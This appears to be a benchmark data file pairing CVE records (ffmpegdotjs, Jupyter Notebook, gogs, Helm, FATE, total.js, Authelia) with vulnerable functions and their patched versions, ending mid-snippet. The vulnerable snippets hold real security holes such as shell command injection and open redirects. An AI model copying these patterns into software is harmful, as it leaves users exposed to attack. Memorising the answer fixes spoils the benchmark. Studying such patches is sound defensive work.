[ { "cve_id": "CVE-2021-23376", "cve_description": "This affects all versions of package ffmpegdotjs. If attacker-controlled user input is given to the trimvideo function, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.", "cwe_info": { "CWE-78": { "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component." } }, "repo": "https://github.com/TRomesh/ffmpegdotjs", "patch_url": [ "https://github.com/TRomesh/ffmpegdotjs/commit/dae868764d6418dac081ed1aa84c636645ba6adb" ], "programing_language": "JavaScript", "vul_func": [ { "id": "vul_js_21_1", "commit": "b7395da", "file_path": "index.js", "start_line": 216, "end_line": 233, "snippet": " trimvideo: (input, start, duration, output) => {\n return new Promise(function(resolve, reject) {\n if (fs.existsSync(input)) {\n exec(\n `ffmpeg -hide_banner -loglevel quiet -ss ${start} -i ${input} -t ${duration} -c copy -y ${output}.mp4`,\n (error, stdout, stderr) => {\n if (error) {\n reject(error);\n return;\n }\n resolve(`${output}.mp4`);\n }\n );\n } else {\n reject(new Error(\"ffmpegdotjs could not find file\"));\n }\n });\n },", "vul_localization": [ { "patch_lines": [ 4, 5 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_js_21_1", "commit": "dae868764d6418dac081ed1aa84c636645ba6adb", "file_path": "index.js", "start_line": 216, "end_line": 233, "snippet": " trimvideo: (input, start, duration, output) => {\n return new Promise(function(resolve, reject) {\n if (fs.existsSync(input)) {\n execFile(\n 'ffmpeg', `-hide_banner -loglevel quiet -ss ${start} -i ${input} -t ${duration} -c copy -y ${output}.mp4`.split(\" \"),\n (error, stdout, stderr) => {\n if (error) {\n reject(error);\n return;\n }\n resolve(`${output}.mp4`);\n }\n );\n } else {\n reject(new Error(\"ffmpegdotjs could not find file\"));\n }\n });\n }," } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-23376" }, { "cve_id": "CVE-2020-26215", "cve_description": "Jupyter Notebook before version 6.1.5 has an Open redirect vulnerability. A maliciously crafted link to a notebook server could redirect the browser to a different website. All notebook servers are technically affected, however, these maliciously crafted links can only be reasonably made for known notebook server hosts. A link to your notebook server may appear safe, but ultimately redirect to a spoofed server on the public internet. The issue is patched in version 6.1.5.", "cwe_info": { "CWE-601": { "name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect." } }, "repo": "https://github.com/jupyter/notebook", "patch_url": [ "https://github.com/jupyter/notebook/commit/3cec4bbe21756de9f0c4bccf18cf61d840314d74" ], "programing_language": "Python", "vul_func": [ { "id": "vul_py_47_1", "commit": "d8308e13803ba1c6e92f129381e615af6c6e00d3", "file_path": "notebook/base/handlers.py", "start_line": 861, "end_line": 863, "snippet": " def get(self):\n self.redirect(self.request.uri.rstrip('/'))\n ", "vul_localization": [ { "patch_lines": [ 2 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_py_47_1", "commit": "3cec4bbe21756de9f0c4bccf18cf61d840314d74", "file_path": "notebook/base/handlers.py", "start_line": 861, "end_line": 867, "snippet": " def get(self):\n path, *rest = self.request.uri.partition(\"?\")\n # trim trailing *and* leading /\n # to avoid misinterpreting repeated '//'\n path = \"/\" + path.strip(\"/\")\n new_uri = \"\".join([path, *rest])\n self.redirect(new_uri)" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2020-26215" }, { "cve_id": "CVE-2022-1986", "cve_description": "OS Command Injection in GitHub repository gogs/gogs prior to 0.12.9.", "cwe_info": { "CWE-94": { "name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment." }, "CWE-77": { "name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component." }, "CWE-78": { "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component." } }, "repo": "https://github.com/gogs/gogs", "patch_url": [ "https://github.com/gogs/gogs/commit/38aff73251cc46ced96dd608dab6190415032a82" ], "programing_language": "Go", "vul_func": [ { "id": "vul_go_6_1", "commit": "6982749", "file_path": "internal/db/repo_editor.go", "start_line": 468, "end_line": 474, "snippet": "func isRepositoryGitPath(path string) bool {\n\treturn strings.HasSuffix(path, \".git\") ||\n\t\tstrings.Contains(path, \".git\"+string(os.PathSeparator)) ||\n\t\t// Windows treats \".git.\" the same as \".git\"\n\t\tstrings.HasSuffix(path, \".git.\") ||\n\t\tstrings.Contains(path, \".git.\"+string(os.PathSeparator))\n}", "vul_localization": [ { "patch_lines": [ 3 ], "tag": "modify" }, { "patch_lines": [ 6 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_go_6_1", "commit": "38aff73", "file_path": "internal/db/repo_editor.go", "start_line": 468, "end_line": 476, "snippet": "func isRepositoryGitPath(path string) bool {\n\treturn strings.HasSuffix(path, \".git\") ||\n\t\tstrings.Contains(path, \".git/\") ||\n\t\tstrings.Contains(path, `.git\\`) ||\n\t\t// Windows treats \".git.\" the same as \".git\"\n\t\tstrings.HasSuffix(path, \".git.\") ||\n\t\tstrings.Contains(path, \".git./\") ||\n\t\tstrings.Contains(path, `.git.\\`)\n}" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-1986" }, { "cve_id": "CVE-2024-25620", "cve_description": "Helm is a tool for managing Charts. Charts are packages of pre-configured Kubernetes resources. When either the Helm client or SDK is used to save a chart whose name within the `Chart.yaml` file includes a relative path change, the chart would be saved outside its expected directory based on the changes in the relative path. The validation and linting did not detect the path changes in the name. This issue has been resolved in Helm v3.14.1. Users unable to upgrade should check all charts used by Helm for path changes in their name as found in the `Chart.yaml` file. This includes dependencies.", "cwe_info": { "CWE-73": { "name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations." }, "CWE-22": { "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory." } }, "repo": "https://github.com/helm/helm", "patch_url": [ "https://github.com/helm/helm/commit/0d0f91d1ce277b2c8766cdc4c7aa04dbafbf2503" ], "programing_language": "Go", "vul_func": [ { "id": "vul_go_16_2", "commit": "e81f614", "file_path": "pkg/chart/metadata.go", "start_line": 87, "end_line": 146, "snippet": "func (md *Metadata) Validate() error {\n\tif md == nil {\n\t\treturn ValidationError(\"chart.metadata is required\")\n\t}\n\n\tmd.Name = sanitizeString(md.Name)\n\tmd.Description = sanitizeString(md.Description)\n\tmd.Home = sanitizeString(md.Home)\n\tmd.Icon = sanitizeString(md.Icon)\n\tmd.Condition = sanitizeString(md.Condition)\n\tmd.Tags = sanitizeString(md.Tags)\n\tmd.AppVersion = sanitizeString(md.AppVersion)\n\tmd.KubeVersion = sanitizeString(md.KubeVersion)\n\tfor i := range md.Sources {\n\t\tmd.Sources[i] = sanitizeString(md.Sources[i])\n\t}\n\tfor i := range md.Keywords {\n\t\tmd.Keywords[i] = sanitizeString(md.Keywords[i])\n\t}\n\n\tif md.APIVersion == \"\" {\n\t\treturn ValidationError(\"chart.metadata.apiVersion is required\")\n\t}\n\tif md.Name == \"\" {\n\t\treturn ValidationError(\"chart.metadata.name is required\")\n\t}\n\tif md.Version == \"\" {\n\t\treturn ValidationError(\"chart.metadata.version is required\")\n\t}\n\tif !isValidSemver(md.Version) {\n\t\treturn ValidationErrorf(\"chart.metadata.version %q is invalid\", md.Version)\n\t}\n\tif !isValidChartType(md.Type) {\n\t\treturn ValidationError(\"chart.metadata.type must be application or library\")\n\t}\n\n\tfor _, m := range md.Maintainers {\n\t\tif err := m.Validate(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// Aliases need to be validated here to make sure that the alias name does\n\t// not contain any illegal characters.\n\tdependencies := map[string]*Dependency{}\n\tfor _, dependency := range md.Dependencies {\n\t\tif err := dependency.Validate(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tkey := dependency.Name\n\t\tif dependency.Alias != \"\" {\n\t\t\tkey = dependency.Alias\n\t\t}\n\t\tif dependencies[key] != nil {\n\t\t\treturn ValidationErrorf(\"more than one dependency with name or alias %q\", key)\n\t\t}\n\t\tdependencies[key] = dependency\n\t}\n\treturn nil\n}", "vul_localization": [ { "patch_lines": [ 26 ], "tag": "add" } ] } ], "fix_func": [ { "id": "fix_go_16_1", "commit": "0d0f91d", "file_path": "pkg/chart/metadata.go", "start_line": 19, "end_line": 19, "snippet": "\t\"path/filepath\"" }, { "id": "fix_go_16_2", "commit": "0d0f91d", "file_path": "pkg/chart/metadata.go", "start_line": 88, "end_line": 152, "snippet": "func (md *Metadata) Validate() error {\n\tif md == nil {\n\t\treturn ValidationError(\"chart.metadata is required\")\n\t}\n\n\tmd.Name = sanitizeString(md.Name)\n\tmd.Description = sanitizeString(md.Description)\n\tmd.Home = sanitizeString(md.Home)\n\tmd.Icon = sanitizeString(md.Icon)\n\tmd.Condition = sanitizeString(md.Condition)\n\tmd.Tags = sanitizeString(md.Tags)\n\tmd.AppVersion = sanitizeString(md.AppVersion)\n\tmd.KubeVersion = sanitizeString(md.KubeVersion)\n\tfor i := range md.Sources {\n\t\tmd.Sources[i] = sanitizeString(md.Sources[i])\n\t}\n\tfor i := range md.Keywords {\n\t\tmd.Keywords[i] = sanitizeString(md.Keywords[i])\n\t}\n\n\tif md.APIVersion == \"\" {\n\t\treturn ValidationError(\"chart.metadata.apiVersion is required\")\n\t}\n\tif md.Name == \"\" {\n\t\treturn ValidationError(\"chart.metadata.name is required\")\n\t}\n\n\tif md.Name != filepath.Base(md.Name) {\n\t\treturn ValidationErrorf(\"chart.metadata.name %q is invalid\", md.Name)\n\t}\n\n\tif md.Version == \"\" {\n\t\treturn ValidationError(\"chart.metadata.version is required\")\n\t}\n\tif !isValidSemver(md.Version) {\n\t\treturn ValidationErrorf(\"chart.metadata.version %q is invalid\", md.Version)\n\t}\n\tif !isValidChartType(md.Type) {\n\t\treturn ValidationError(\"chart.metadata.type must be application or library\")\n\t}\n\n\tfor _, m := range md.Maintainers {\n\t\tif err := m.Validate(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// Aliases need to be validated here to make sure that the alias name does\n\t// not contain any illegal characters.\n\tdependencies := map[string]*Dependency{}\n\tfor _, dependency := range md.Dependencies {\n\t\tif err := dependency.Validate(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tkey := dependency.Name\n\t\tif dependency.Alias != \"\" {\n\t\t\tkey = dependency.Alias\n\t\t}\n\t\tif dependencies[key] != nil {\n\t\t\treturn ValidationErrorf(\"more than one dependency with name or alias %q\", key)\n\t\t}\n\t\tdependencies[key] = dependency\n\t}\n\treturn nil\n}" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2024-25620" }, { "cve_id": "CVE-2020-25459", "cve_description": "An issue was discovered in function sync_tree in hetero_decision_tree_guest.py in WeBank FATE (Federated AI Technology Enabler) 0.1 through 1.4.2 allows attackers to read sensitive information during the training process of machine learning joint modeling.", "cwe_info": { "CWE-668": { "name": "Exposure of Resource to Wrong Sphere", "description": "The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource." } }, "repo": "https://github.com/FederatedAI/FATE", "patch_url": [ "https://github.com/FederatedAI/FATE/commit/6feccf6d752184a6f9365d56a76fe627983e7139" ], "programing_language": "Python", "vul_func": [ { "id": "vul_py_44_1", "commit": "67708d5", "file_path": "federatedml/tree/hetero/hetero_decision_tree_guest.py", "start_line": 532, "end_line": 544, "snippet": " def sync_tree(self):\n LOGGER.info(\"sync tree to host\")\n\n self.transfer_inst.tree.remote(self.tree_,\n role=consts.HOST,\n idx=-1)\n \"\"\"\n federation.remote(obj=self.tree_,\n name=self.transfer_inst.tree.name,\n tag=self.transfer_inst.generate_transferid(self.transfer_inst.tree),\n role=consts.HOST,\n idx=-1)\n \"\"\"", "vul_localization": [ { "patch_lines": [ 4 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_py_44_1", "commit": "6feccf6", "file_path": "federatedml/tree/hetero/hetero_decision_tree_guest.py", "start_line": 544, "end_line": 557, "snippet": " def sync_tree(self):\n LOGGER.info(\"sync tree to host\")\n\n tree_nodes = self.remove_sensitive_info()\n self.transfer_inst.tree.remote(tree_nodes,\n role=consts.HOST,\n idx=-1)\n \"\"\"\n federation.remote(obj=self.tree_,\n name=self.transfer_inst.tree.name,\n tag=self.transfer_inst.generate_transferid(self.transfer_inst.tree),\n role=consts.HOST,\n idx=-1)\n \"\"\"" }, { "id": "fix_py_44_2", "commit": "6feccf6", "file_path": "federatedml/tree/hetero/hetero_decision_tree_host.py", "start_line": 532, "end_line": 542, "snippet": " return model_param\n\n def set_model_param(self, model_param):\n self.tree_ = []\n for node_param in model_param.tree_:\n _node = Node(id=node_param.id,\n sitename=node_param.sitename,\n fid=node_param.fid,\n bid=node_param.bid,\n weight=node_param.weight,\n is_leaf=node_param.is_leaf," } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2020-25459" }, { "cve_id": "CVE-2020-28494", "cve_description": "This affects the package total.js before 3.4.7. The issue occurs in the image.pipe and image.stream functions. The type parameter is used to build the command that is then executed using child_process.spawn. The issue occurs because child_process.spawn is called with the option shell set to true and because the type parameter is not properly sanitized.", "cwe_info": { "CWE-94": { "name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment." }, "CWE-77": { "name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component." }, "CWE-78": { "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component." } }, "repo": "https://github.com/totaljs/framework", "patch_url": [ "https://github.com/totaljs/framework/commit/6192491ab2631e7c1d317c221f18ea613e2c18a5" ], "programing_language": "JavaScript", "vul_func": [ { "id": "vul_js_22_1", "commit": "79e84ad", "file_path": "image.js", "start_line": 319, "end_line": 340, "snippet": "ImageProto.stream = function(type, writer) {\n\n\tvar self = this;\n\n\t!self.builder.length && self.minify();\n\n\tif (!type)\n\t\ttype = self.outputType;\n\n\tF.stats.performance.open++;\n\tvar cmd = spawn(CMD_CONVERT[self.cmdarg], self.arg(self.filename ? wrap(self.filename) : '-', (type ? type + ':' : '') + '-'), SPAWN_OPT);\n\tif (self.currentStream) {\n\t\tif (self.currentStream instanceof Buffer)\n\t\t\tcmd.stdin.end(self.currentStream);\n\t\telse\n\t\t\tself.currentStream.pipe(cmd.stdin);\n\t}\n\n\twriter && writer(cmd.stdin);\n\tvar middleware = middlewares[type];\n\treturn middleware ? cmd.stdout.pipe(middleware()) : cmd.stdout;\n};", "vul_localization": [ { "patch_lines": [ 7 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_js_22_1", "commit": "6192491ab2631e7c1d317c221f18ea613e2c18a5", "file_path": "image.js", "start_line": 320, "end_line": 341, "snippet": "ImageProto.stream = function(type, writer) {\n\n\tvar self = this;\n\n\t!self.builder.length && self.minify();\n\n\tif (!type || !SUPPORTEDIMAGES[type])\n\t\ttype = self.outputType;\n\n\tF.stats.performance.open++;\n\tvar cmd = spawn(CMD_CONVERT[self.cmdarg], self.arg(self.filename ? wrap(self.filename) : '-', (type ? type + ':' : '') + '-'), SPAWN_OPT);\n\tif (self.currentStream) {\n\t\tif (self.currentStream instanceof Buffer)\n\t\t\tcmd.stdin.end(self.currentStream);\n\t\telse\n\t\t\tself.currentStream.pipe(cmd.stdin);\n\t}\n\n\twriter && writer(cmd.stdin);\n\tvar middleware = middlewares[type];\n\treturn middleware ? cmd.stdout.pipe(middleware()) : cmd.stdout;\n};" }, { "id": "fix_js_22_2", "commit": "6192491ab2631e7c1d317c221f18ea613e2c18a5", "file_path": "image.js", "start_line": 41, "end_line": 41, "snippet": "const SUPPORTEDIMAGES = { jpg: 1, png: 1, gif: 1, apng: 1, jpeg: 1, heif: 1, heic: 1, webp: 1, ico: 1 };" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2020-28494" }, { "cve_id": "CVE-2025-24806", "cve_description": "Authelia is an open-source authentication and authorization server providing two-factor authentication and single sign-on (SSO) for applications via a web portal. If users are allowed to sign in via both username and email the regulation system treats these as separate login events. This leads to the regulation limitations being effectively doubled assuming an attacker using brute-force to find a user password. It's important to note that due to the effective operation of regulation where no user-facing sign of their regulation ban being visible either via timing or via API responses, it's effectively impossible to determine if a failure occurs due to a bad username password combination, or a effective ban blocking the attempt which heavily mitigates any form of brute-force. This occurs because the records and counting process for this system uses the method utilized for sign in rather than the effective username attribute. This has a minimal impact on account security, this impact is increased naturally in scenarios when there is no two-factor authentication required and weak passwords are used. This makes it a bit easier to brute-force a password. A patch for this issue has been applied to versions 4.38.19, and 4.39.0. Users are advised to upgrade. Users unable to upgrade should 1. Not heavily modify the default settings in a way that ends up with shorter or less frequent regulation bans. The default settings effectively mitigate any potential for this issue to be exploited. and 2. Disable the ability for users to login via an email address.", "cwe_info": { "CWE-307": { "name": "Improper Restriction of Excessive Authentication Attempts", "description": "The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame." } }, "repo": "https://github.com/authelia/authelia", "patch_url": [ "https://github.com/authelia/authelia/commit/d4a54189aa6563912f9427b96dcb01eacafa785c" ], "programing_language": "Go", "vul_func": [ { "id": "vul_go_76_1", "commit": "37cb14fb898b675bd39bbe8776f8cdf54f8272f3", "file_path": "internal/handlers/handler_firstfactor.go", "start_line": 14, "end_line": 159, "snippet": "func FirstFactorPOST(delayFunc middlewares.TimingAttackDelayFunc) middlewares.RequestHandler {\n\treturn func(ctx *middlewares.AutheliaCtx) {\n\t\tvar successful bool\n\n\t\trequestTime := time.Now()\n\n\t\tif delayFunc != nil {\n\t\t\tdefer delayFunc(ctx, requestTime, &successful)\n\t\t}\n\n\t\tbodyJSON := bodyFirstFactorRequest{}\n\n\t\tif err := ctx.ParseBody(&bodyJSON); err != nil {\n\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrParseRequestBody, regulation.AuthType1FA)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tif bannedUntil, err := ctx.Providers.Regulator.Regulate(ctx, bodyJSON.Username); err != nil {\n\t\t\tif errors.Is(err, regulation.ErrUserIsBanned) {\n\t\t\t\t_ = markAuthenticationAttempt(ctx, false, &bannedUntil, bodyJSON.Username, regulation.AuthType1FA, nil)\n\n\t\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrRegulationFail, regulation.AuthType1FA, bodyJSON.Username)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tuserPasswordOk, err := ctx.Providers.UserProvider.CheckUserPassword(bodyJSON.Username, bodyJSON.Password)\n\t\tif err != nil {\n\t\t\t_ = markAuthenticationAttempt(ctx, false, nil, bodyJSON.Username, regulation.AuthType1FA, err)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tif !userPasswordOk {\n\t\t\t_ = markAuthenticationAttempt(ctx, false, nil, bodyJSON.Username, regulation.AuthType1FA, nil)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tif err = markAuthenticationAttempt(ctx, true, nil, bodyJSON.Username, regulation.AuthType1FA, nil); err != nil {\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tprovider, err := ctx.GetSessionProvider()\n\t\tif err != nil {\n\t\t\tctx.Logger.WithError(err).Error(\"Failed to get session provider during 1FA attempt\")\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tuserSession, err := provider.GetSession(ctx.RequestCtx)\n\t\tif err != nil {\n\t\t\tctx.Logger.Errorf(\"%s\", err)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tnewSession := provider.NewDefaultUserSession()\n\n\t\t// Reset all values from previous session except OIDC workflow before regenerating the cookie.\n\t\tif err = ctx.SaveSession(newSession); err != nil {\n\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrSessionReset, regulation.AuthType1FA, bodyJSON.Username)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tif err = ctx.RegenerateSession(); err != nil {\n\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrSessionRegenerate, regulation.AuthType1FA, bodyJSON.Username)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\t// Check if bodyJSON.KeepMeLoggedIn can be deref'd and derive the value based on the configuration and JSON data.\n\t\tkeepMeLoggedIn := !provider.Config.DisableRememberMe && bodyJSON.KeepMeLoggedIn != nil && *bodyJSON.KeepMeLoggedIn\n\n\t\t// Set the cookie to expire if remember me is enabled and the user has asked us to.\n\t\tif keepMeLoggedIn {\n\t\t\terr = provider.UpdateExpiration(ctx.RequestCtx, provider.Config.RememberMe)\n\t\t\tif err != nil {\n\t\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrSessionSave, \"updated expiration\", regulation.AuthType1FA, logFmtActionAuthentication, bodyJSON.Username)\n\n\t\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\t// Get the details of the given user from the user provider.\n\t\tuserDetails, err := ctx.Providers.UserProvider.GetDetails(bodyJSON.Username)\n\t\tif err != nil {\n\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrObtainProfileDetails, regulation.AuthType1FA, bodyJSON.Username)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tctx.Logger.Tracef(logFmtTraceProfileDetails, bodyJSON.Username, userDetails.Groups, userDetails.Emails)\n\n\t\tuserSession.SetOneFactor(ctx.Clock.Now(), userDetails, keepMeLoggedIn)\n\n\t\tif ctx.Configuration.AuthenticationBackend.RefreshInterval.Update() {\n\t\t\tuserSession.RefreshTTL = ctx.Clock.Now().Add(ctx.Configuration.AuthenticationBackend.RefreshInterval.Value())\n\t\t}\n\n\t\tif err = ctx.SaveSession(userSession); err != nil {\n\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrSessionSave, \"updated profile\", regulation.AuthType1FA, logFmtActionAuthentication, bodyJSON.Username)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tsuccessful = true\n\n\t\tif bodyJSON.Workflow == workflowOpenIDConnect {\n\t\t\thandleOIDCWorkflowResponse(ctx, &userSession, bodyJSON.TargetURL, bodyJSON.WorkflowID)\n\t\t} else {\n\t\t\tHandle1FAResponse(ctx, bodyJSON.TargetURL, bodyJSON.RequestMethod, userSession.Username, userSession.Groups)\n\t\t}\n\t}\n}", "vul_localization": [ { "patch_lines": [ 13 ], "tag": "modify" }, { "patch_lines": [ 21 ], "tag": "modify" }, { "patch_lines": [ 23 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_go_76_1", "commit": "d4a54189aa6563912f9427b96dcb01eacafa785c", "file_path": "internal/handlers/handler_firstfactor.go", "start_line": 15, "end_line": 163, "snippet": "func FirstFactorPOST(delayFunc middlewares.TimingAttackDelayFunc) middlewares.RequestHandler {\n\treturn func(ctx *middlewares.AutheliaCtx) {\n\t\tvar successful bool\n\n\t\trequestTime := time.Now()\n\n\t\tif delayFunc != nil {\n\t\t\tdefer delayFunc(ctx, requestTime, &successful)\n\t\t}\n\n\t\tbodyJSON := bodyFirstFactorRequest{}\n\n\t\tvar (\n\t\t\tdetails *authentication.UserDetails\n\t\t\terr error\n\t\t)\n\n\t\tif err = ctx.ParseBody(&bodyJSON); err != nil {\n\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrParseRequestBody, regulation.AuthType1FA)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tif details, err = ctx.Providers.UserProvider.GetDetails(bodyJSON.Username); err != nil || details == nil {\n\t\t\tctx.Logger.WithError(err).Errorf(\"Error occurred getting details for user with username input '%s' which usually indicates they do not exist\", bodyJSON.Username)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tif bannedUntil, err := ctx.Providers.Regulator.Regulate(ctx, details.Username); err != nil {\n\t\t\tif errors.Is(err, regulation.ErrUserIsBanned) {\n\t\t\t\t_ = markAuthenticationAttempt(ctx, false, &bannedUntil, details.Username, regulation.AuthType1FA, nil)\n\n\t\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrRegulationFail, regulation.AuthType1FA, details.Username)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tuserPasswordOk, err := ctx.Providers.UserProvider.CheckUserPassword(details.Username, bodyJSON.Password)\n\t\tif err != nil {\n\t\t\t_ = markAuthenticationAttempt(ctx, false, nil, details.Username, regulation.AuthType1FA, err)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tif !userPasswordOk {\n\t\t\t_ = markAuthenticationAttempt(ctx, false, nil, details.Username, regulation.AuthType1FA, nil)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tif err = markAuthenticationAttempt(ctx, true, nil, details.Username, regulation.AuthType1FA, nil); err != nil {\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tprovider, err := ctx.GetSessionProvider()\n\t\tif err != nil {\n\t\t\tctx.Logger.WithError(err).Error(\"Failed to get session provider during 1FA attempt\")\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tuserSession, err := provider.GetSession(ctx.RequestCtx)\n\t\tif err != nil {\n\t\t\tctx.Logger.Errorf(\"%s\", err)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tnewSession := provider.NewDefaultUserSession()\n\n\t\t// Reset all values from previous session except OIDC workflow before regenerating the cookie.\n\t\tif err = ctx.SaveSession(newSession); err != nil {\n\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrSessionReset, regulation.AuthType1FA, details.Username)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tif err = ctx.RegenerateSession(); err != nil {\n\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrSessionRegenerate, regulation.AuthType1FA, details.Username)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\t// Check if bodyJSON.KeepMeLoggedIn can be deref'd and derive the value based on the configuration and JSON data.\n\t\tkeepMeLoggedIn := !provider.Config.DisableRememberMe && bodyJSON.KeepMeLoggedIn != nil && *bodyJSON.KeepMeLoggedIn\n\n\t\t// Set the cookie to expire if remember me is enabled and the user has asked us to.\n\t\tif keepMeLoggedIn {\n\t\t\terr = provider.UpdateExpiration(ctx.RequestCtx, provider.Config.RememberMe)\n\t\t\tif err != nil {\n\t\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrSessionSave, \"updated expiration\", regulation.AuthType1FA, logFmtActionAuthentication, details.Username)\n\n\t\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\tctx.Logger.Tracef(logFmtTraceProfileDetails, details.Username, details.Groups, details.Emails)\n\n\t\tuserSession.SetOneFactor(ctx.Clock.Now(), details, keepMeLoggedIn)\n\n\t\tif ctx.Configuration.AuthenticationBackend.RefreshInterval.Update() {\n\t\t\tuserSession.RefreshTTL = ctx.Clock.Now().Add(ctx.Configuration.AuthenticationBackend.RefreshInterval.Value())\n\t\t}\n\n\t\tif err = ctx.SaveSession(userSession); err != nil {\n\t\t\tctx.Logger.WithError(err).Errorf(logFmtErrSessionSave, \"updated profile\", regulation.AuthType1FA, logFmtActionAuthentication, details.Username)\n\n\t\t\trespondUnauthorized(ctx, messageAuthenticationFailed)\n\n\t\t\treturn\n\t\t}\n\n\t\tsuccessful = true\n\n\t\tif bodyJSON.Workflow == workflowOpenIDConnect 